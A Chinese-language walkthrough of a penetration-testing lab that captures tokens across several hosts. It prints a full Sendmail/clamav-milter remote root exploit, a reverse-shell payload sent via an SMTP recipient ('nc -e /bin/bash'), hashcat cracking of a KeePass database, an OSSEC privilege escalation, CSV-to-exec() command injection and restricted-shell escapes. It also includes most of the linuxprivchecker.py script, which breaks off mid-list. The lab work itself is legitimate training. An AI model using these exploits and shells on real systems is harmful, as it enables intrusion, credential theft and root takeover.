连接关闭的原因是192.168.11.4上有一个FTP脚本在进行周期性的连接(todo.txt的计划任务列表),而192.168.10.1上现在没有FTP服务,192.168.10.1不能对服务请求做出响应,监听失败。

可以根据FTP服务器返回码列表伪造192.168.10.1的FTP服务响应banner(问候语):

220  Service ready for new user.

331  User name okay, need password.

使用python发包:

python -c 'print "220 Welcome to FTP Service\r\n331 SPECIFY THE PASSWORD"' | nc -nlvp 2020

过了几分钟得到,即得到Connect的flag为Con_con_con

USER ConnectToken
PASS Con_con_con

Cloud Token

对于tcpdump的包,使用python开启简易web服务器或者直接使用scp -i remote2.key aengineer@192.168.10.1:/var/tmp/dump.pcap dump.pcap下载tcpdump的包,进行分析:

得到了http://192.168.10.3/index.php/login的登陆用户为user,密码为4E3j3C3v

登陆后下载kdbx文件,KeePass数据库文件

使用KeePass2John提取密码hash,将密码hash保存在文件中:

keepass2john my_store.kdbx

参照如何使用Hashcat破解KeePass密码 使用hashcat破解hash:

hashcat -a 0 -m 13400 my_store_hash /opt/SecLists/rockyou.txt --force

破解出来为reajel

在kali中sudo apt-get install keepassx安装keepassx,然后使用keepassx打开之前下载kdbx数据库文件,就能得到Cloud的key:

或者将文件上传到https://app.keeweb.info/,并输入hashcat解出的密码就能得到Cloud的flag,就是Sky_is_Over!

Clamav Token

ssh -i remote.key remote@192.168.11.1连接192.168.11.1,并使用命令注入进行会话切换到192.168.11.1:

#连接192.168.11.1
ssh -i remote.key remote@192.168.11.1
#命令注入,绕过脚本执行,切换会话到192.168.11.1
Srv3;dash 1>&2
#dash切换为bash
bash
#nmap扫描
nmap -T4 -sV -Pn -n 192.168.11.1-5

查看到192.168.11.5运行着Sendmail,并用searchsploit搜索sendmail的漏洞。

提交flag的地方写着clamav,自然联想到该sendmail也有clamav(ClamAV在邮件服务器上作为服务器端的电子邮件病毒扫描器).在exploit DB上有sendmail与clamav-milter <0.91.2 - 远程命令执行漏洞

### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;
 
print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";
 
if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}
 
print "Attacking $ARGV[0]...\n";
 
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '25',
                              Proto    => 'tcp');
 
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";
 
while (<$sock>) {
        print;
}
 
# milw0rm.com [2007-12-21]

在阅读上面exp之后,对目标机器192.168.11.5进行漏洞测试。

并在192.168.10.1上进行12234端口监听,在目标机器上发送返回shell的邮件:(多次实验,只有192.168.10.1能够反弹shell,该机器可能为运行着防火墙等重要的管理设备)

#测试漏洞
nc 192.168.11.5 25

ehlo you

# 端口监听
nc -nvlp 12234

#反弹shell
mail from:<>
rcpt to:<nobody+"|/bin/nc -e /bin/bash 192.168.10.1 12234"@localhost>
data
.

# 在反弹的shell处获得伪终端shell
python -c 'import pty; pty.spawn("/bin/sh")'

root@kali:~/Desktop/testlab# nc 192.168.11.5 25
220 tl11-192-168-11-5.mail-dev ESMTP Sendmail 8.14.4/8.14.4/Debian-8+deb8u2; Thu, 28 Jun 2018 12:21:55 +0300; (No UCE/UBE) logging access from: [192.168.11.254](TEMP)-[192.168.11.254]
ehlo you
250-tl11-192-168-11-5.mail-dev Hello [192.168.11.254], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH DIGEST-MD5 CRAM-MD5
250-DELIVERBY
250 HELP
mail from:<>
250 2.1.0 <>... Sender ok
rcpt to:<nobody+"|/bin/nc -e /bin/bash 192.168.10.1 12234"@localhost>
250 2.1.5 <nobody+"|/bin/nc -e /bin/bash 192.168.10.1 12234"@localhost>... Recipient ok
data
354 Enter mail, end with "." on a line by itself
.
451 4.3.2 Please try again later
root@kali:~/Desktop/testlab# 

尝试提权,获取更多有用的信息进行接下来的工作。

linuxprivchecker.py脚本放在192.168.10.1服务器上,开启简易python web服务器,在192.168.11.5上进行提权检测,发现OSSEC(OSSEC是一个免费的、开源的、基于主机的入侵检测系统):

    ossec:x:1001:1001::/var/ossec:/bin/false
    ossecm:x:1002:1001::/var/ossec:/bin/false
    ossecr:x:1003:1001::/var/ossec:/bin/false

搜索到OSSEC 2.7 <2.8.1 - ‘差异’本地特权升级,根据OSSEC提权漏洞进行提权:

clamav@tl11-192-168-11-5:~$ ls -al /root
ls -al /root
ls: cannot open directory /root: Permission denied
clamav@tl11-192-168-11-5:~$ touch "a-\$(chmod 777 root)"
touch "a-\$(chmod 777 root)"
clamav@tl11-192-168-11-5:~$ touch "b-\$(chmod 777 root)"
touch "b-\$(chmod 777 root)"
clamav@tl11-192-168-11-5:~$ touch "c-\$(chmod 777 root)"
touch "c-\$(chmod 777 root)"
clamav@tl11-192-168-11-5:~$ /bin/sleep 3
/bin/sleep 3
clamav@tl11-192-168-11-5:~$ echo "give me the token" > a-*
echo "give me the token" > a-*
clamav@tl11-192-168-11-5:~$ /bin/sleep 3
/bin/sleep 3
clamav@tl11-192-168-11-5:~$ echo "give me the token nooow" > b-*
echo "give me the token nooow" > b-*
clamav@tl11-192-168-11-5:~$ /bin/sleep 3
/bin/sleep 3
clamav@tl11-192-168-11-5:~$ echo "One more for good luck" > c-*
echo "One more for good luck" > c-*
clamav@tl11-192-168-11-5:~$ ls -al /root
ls -al /root
total 80
drwxrwxrwx  5 root root  4096 Jul 12  2017 .
drwxr-xr-x 22 root root  4096 Apr  1  2017 ..
drwx------  2 root root  4096 Nov 25  2016 .aptitude
-rw-------  1 root root  7559 Jul 12  2017 .bash_history
-rw-r--r--  1 root root   674 Sep  3  2016 .bashrc
drwx------  3 root root  4096 May  1  2015 .config
-rw-------  1 root root    51 Apr 20  2017 .lesshst
-rw-------  1 root root   407 Jul  4  2017 .nano_history
-rw-r--r--  1 root root   140 Nov 19  2007 .profile
-rw-------  1 root root  1024 Apr 20  2017 .rnd
-rw-r--r--  1 root root    66 Apr 21  2017 .selected_editor
drwxr-xr-x  2 root root  4096 Jul 12  2017 .ssh
-rw-------  1 root root 11611 Jul 12  2017 .viminfo
-rwxr-xr-x  1 root root    38 Nov  5  2014 ipt.sh
-rwx------  1 root root   665 Jun 24  2017 process_checker_mail.sh
-rwx------  1 root root   459 Apr 21  2017 process_checker_ossec.sh
-rw-r--r--  1 root root    23 Jun 30  2017 token
clamav@tl11-192-168-11-5:~$ cat /root/token
cat /root/token
Anti_Virus_not_a_Virus
clamav@tl11-192-168-11-5:~$ 

得出ClamAV的flag是Anti_Virus_not_a_Virus

Access control Token

连接192.168.11.1选择Srv1跳转到172.16.0.16或者直接用remote2.key连接172.16.0.16

ssh -i remote.key remote@192.168.11.1

Srv1

查看var/www/html文件内容:

权限不够,无法打开token.sec文件。

其中parse.php的代码如下:

<?php

if ($_GET["auth"] != asdfgtgrfedQWERsdfd) {
header('Location: index.html');
exit();
}

$row = 1;
if (($handle = fopen("db.csv", "r")) !== FALSE) {
    echo '<link rel="stylesheet" href="css/main.css" type="text/css">';
    echo '<div id="wrapper" style="text-align: center">';
    echo '<div id="yourdiv" style="display: inline-block;">';
    echo '<table border="1">';
    
    while (($data = fgetcsv($handle, 1000, ";")) !== FALSE) {
        $num = count($data);
        if ($row == 1) {
            echo '<thead><tr>';
        }else{
            echo '<tr>';
        }
        
        for ($c=0; $c < $num; $c++) {
            //echo $data[$c] . "<br />\n";
            if(empty($data[$c])) {
               $value = "&nbsp;";
            }else{
               $value = $data[$c];
            }
            if ($row == 1) {
                echo '<th>'.$value.'</th>';
            }else{
            if ($c==2 or $c==3) {
            $converted = exec('date -d @'.$value);
            echo '<td>'.$converted.'</td>';
            }else{
                echo '<td>'.$value.'</td>';
            }
            }
        }
        
        if ($row == 1) {
            echo '</tr></thead><tbody>';
        }else{
            echo '</tr>';
        }
        $row++;
    }
    
    echo '</tbody></table>';
    echo '</div>';
    echo '</div>';
    fclose($handle);
}
?>

其中的if ($_GET["auth"] != asdfgtgrfedQWERsdfd) {header('Location: index.html');是网页身份认证功能

$row = 1;if (($handle = fopen("db.csv", "r")) !== FALSE)是表示在进入认证之后,打开db.csv文件,以表格形式呈现

db.csvftpclient.py是root权限的文件

ftpclient.py的代码如下:

#!//usr/bin/python

from ftplib import FTP
import sys
ftp = FTP()
ftp.connect('172.16.0.17','21',3)
ftp.login('acontrol','IControlEverything')
with open('/var/www/html/db.csv', 'w+b') as f:
    res = ftp.retrbinary('RETR db.csv', f.write)
    if not res.startswith('226 Transfer complete'):
        print('Downloaded of file {0} is not compile.'.format(orig_filename))
        os.remove(local_filename)
ftp.quit()

db.csv是从172.16.0.17的ftp服务器下载

对比db.csv和网页呈现的,可以得出db.csv的内容有时间

parse.php中的if ($c==2 or $c==3) {$converted = exec('date -d @'.$value);表示了用exec执行打印时间字符串,这样就可以使用命令注入进行接下来的工作。

本想直接将python反弹shell的代码写入ftpclient.py中,直接执行,但是没有写入权限,只能考虑使用db.csv文件进行代码注入执行。

登陆账号能对db.csv进行读写:

尝试登陆

ssh -i remote2.key aengineer@172.16.0.17

172.16.0.17中写入python -c 'print "Name;Surname;In;Out;ID\nJack;KKB;1501118352.0|chmod 777 /var/www/html/token.sec;1501121952.0;38611"' 到db.csv,172.16.0.16中的ftpclient.py获取的就是写入的命令,且parse.php获取db.csv数据时就是执行了写入的python语句,172.16.0.16上的token.sec改变了读写权限,即本地用户权限也能读取。

python -c 'print "Name;Surname;In;Out;ID\nFuck;MMP;1201118352.0|chmod 777 /var/www/html/token.sec;1591121952.0;38611"' > db.csv

使用admin@11.lab :admin登陆http://172.16.0.16/parse.php?auth=asdfgtgrfedQWERsdfd,刷新页面,最终查看token.sec,就得到了flag为Access_Granted!

Helpdesk Token

使用dirbuster扫描web文件目录,扫描到多个登陆界面,尝试弱口令都无果。后http://192.168.11.3/_admin/login.php,尝试弱口令也不行。

最后一行的提示,想着可以找php hash漏洞。

根据提示找到了入手处——magic hash

打开发现token为Help_me!,且ssh的密码为Y2O@TRl!YWRmM

Screen Token

使用Y2O@TRl!YWRmM密码登陆192.168.11.3,用户名在web的提示页面,为john:

登陆ssh之后,发现cd命令不能执行,echo $0查看shell是rbash(受限的bash命令),就使用python -c 'import pty; pty.spawn("/bin/bash")'将shell环境切换为bash:

或者使用awk 'BEGIN {system("/bin/bash")}'进行调用bash shell。

在tmp目录中写入linuxprivchecker.py:

#!/usr/env python

###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]: 
## This script is intended to be executed locally on a Linux box to enumerate basic system info and 
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits. 
##-------------------------------------------------------------------------------------------------------------
## [Warning]:
## This script comes as-is with no promise of functionality or accuracy.  I have no plans to maintain updates, 
## I did not write it to be efficient and in some cases you may find the functions may not produce the desired 
## results.  For example, the function that links packages to running processes is based on keywords and will 
## not always be accurate.  Also, the exploit list included in this function will need to be updated over time. 
## Feel free to change or improve it any way you see fit.
##-------------------------------------------------------------------------------------------------------------   
## [Modification, Distribution, and Attribution]:
## You are free to modify and/or distribute this script as you wish.  I only ask that you maintain original
## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's 
## worth anything anyway :)
###############################################################################################################

# conditional import for older versions of python not compatible with subprocess
try:
    import subprocess as sub
    compatmode = 0 # newer version of python, no need for compatibility mode
except ImportError:
    import os # older version of python, need to use os instead
    compatmode = 1

# title / formatting
bigline = "================================================================================================="
smlline = "-------------------------------------------------------------------------------------------------"

print bigline 
print "LINUX PRIVILEGE ESCALATION CHECKER"
print bigline
print

# loop through dictionary, execute the commands, store the results, return updated dict
def execCmd(cmdDict):
    for item in cmdDict:
        cmd = cmdDict[item]["cmd"]
	if compatmode == 0: # newer version of python, use preferred subprocess
            out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate()
            results = out.split('\n')
	else: # older version of python, use os.popen
	    echo_stdout = os.popen(cmd, 'r')  
            results = echo_stdout.read().split('\n')
        cmdDict[item]["results"]=results
    return cmdDict

# print results for each previously executed command, no return value
def printResults(cmdDict):
    for item in cmdDict:
	msg = cmdDict[item]["msg"]
	results = cmdDict[item]["results"]
        print "[+] " + msg
        for result in results:
	    if result.strip() != "":
	        print "    " + result.strip()
	print
    return

def writeResults(msg, results):
    f = open("privcheckout.txt", "a");
    f.write("[+] " + str(len(results)-1) + " " + msg)
    for result in results:
        if result.strip() != "":
            f.write("    " + result.strip())
    f.close()
    return

# Basic system info
print "[*] GETTING BASIC SYSTEM INFO...\n"

results=[]

sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, 
	   "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, 
	   "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results}
	  }

sysInfo = execCmd(sysInfo)
printResults(sysInfo)

# Networking Info

print "[*] GETTING NETWORKING INFO...\n"

netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results},
	   "ROUTE":{"cmd":"route", "msg":"Route", "results":results},
	   "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results}
	  }

netInfo = execCmd(netInfo)
printResults(netInfo)

# File System Info
print "[*] GETTING FILESYSTEM INFO...\n"

driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results},
	     "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results}
	    }

driveInfo = execCmd(driveInfo)
printResults(driveInfo)

# Scheduled Cron Jobs
cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results},
	    "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results}
	   }

cronInfo = execCmd(cronInfo)
printResults(cronInfo)

# User Info
print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n"

userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results},
	    "ID":{"cmd":"id","msg":"Current User ID", "results":results},
	    "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results},
	    "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results},
	    "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results},
	    "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results},
	    "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results},
	    "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results}
	   }

userInfo = execCmd(userInfo)
printResults(userInfo)

if "root" in userInfo["ID"]["results"][0]:
    print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n"

# File/Directory Privs
print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n"

fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results},
	   "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results},
	   "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results},
	   "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results},
	   "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results}
	  }

fdPerms = execCmd(fdPerms) 
printResults(fdPerms)

pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results},
	    "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results},
	    "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results}
	   }

pwdFiles = execCmd(pwdFiles)
printResults(pwdFiles)

# Processes and Applications
print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n"

if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]:
    getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian
else:
    getPkgs = "rpm -qa | sort -u" # RH/other

getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results},
              "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results}
	     }

getAppProc = execCmd(getAppProc)
printResults(getAppProc) # comment to reduce output

otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results},
	      "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results},
	      "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results}
	    }

otherApps = execCmd(otherApps)
printResults(otherApps)

print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n"

# find the package information for the processes currently running
# under root or another super user

procs = getAppProc["PROCS"]["results"]
pkgs = getAppProc["PKGS"]["results"]
supusers = userInfo["SUPUSERS"]["results"]
procdict = {} # dictionary to hold the processes running as super users
  
for proc in procs: # loop through each process
    relatedpkgs = [] # list to hold the packages related to a process    
    try:
	for user in supusers: # loop through the known super users
	    if (user != "") and (user in proc): # if the process is being run by a super user
        	procname = proc.split(" ")[4] # grab the process name
		if "/" in procname:
			splitname = procname.split("/")
			procname = splitname[len(splitname)-1]
        	for pkg in pkgs: # loop through the packages
		    if not len(procname) < 3: # name too short to get reliable package results
	    	        if procname in pkg: 
			    if procname in procdict: 
			        relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list
			    if pkg not in relatedpkgs:
			        relatedpkgs.append(pkg) # add pkg to the list
                procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry
    except:
	pass

for key in procdict:
    print "    " + key # print the process name
    try:
        if not procdict[key][0] == "": # only print the rest if related packages were found
            print "        Possible Related Packages: " 
            for entry in procdict[key]: 
                print "            " + entry # print each related package
    except:
	pass

# EXPLOIT ENUMERATION

# First discover the avaialable tools 
print
print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n"

devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}}
devTools = execCmd(devTools)
printResults(devTools)

print "[+] Related Shell Escape Sequences...\n"
escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]}
for cmd in escapeCmd:
    for result in devTools["TOOLS"]["results"]:
        if cmd in result:
	    for item in escapeCmd[cmd]:
	        print "    " + cmd + "-->\t" + item
print
print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n"

# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB)
# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os'
sploits= {      "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}},
		"<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}},
		"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}},
		"Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}},
		"2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}},
		"Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}},
		"Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}},
		"2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}},
		"2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}},
		"2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}},
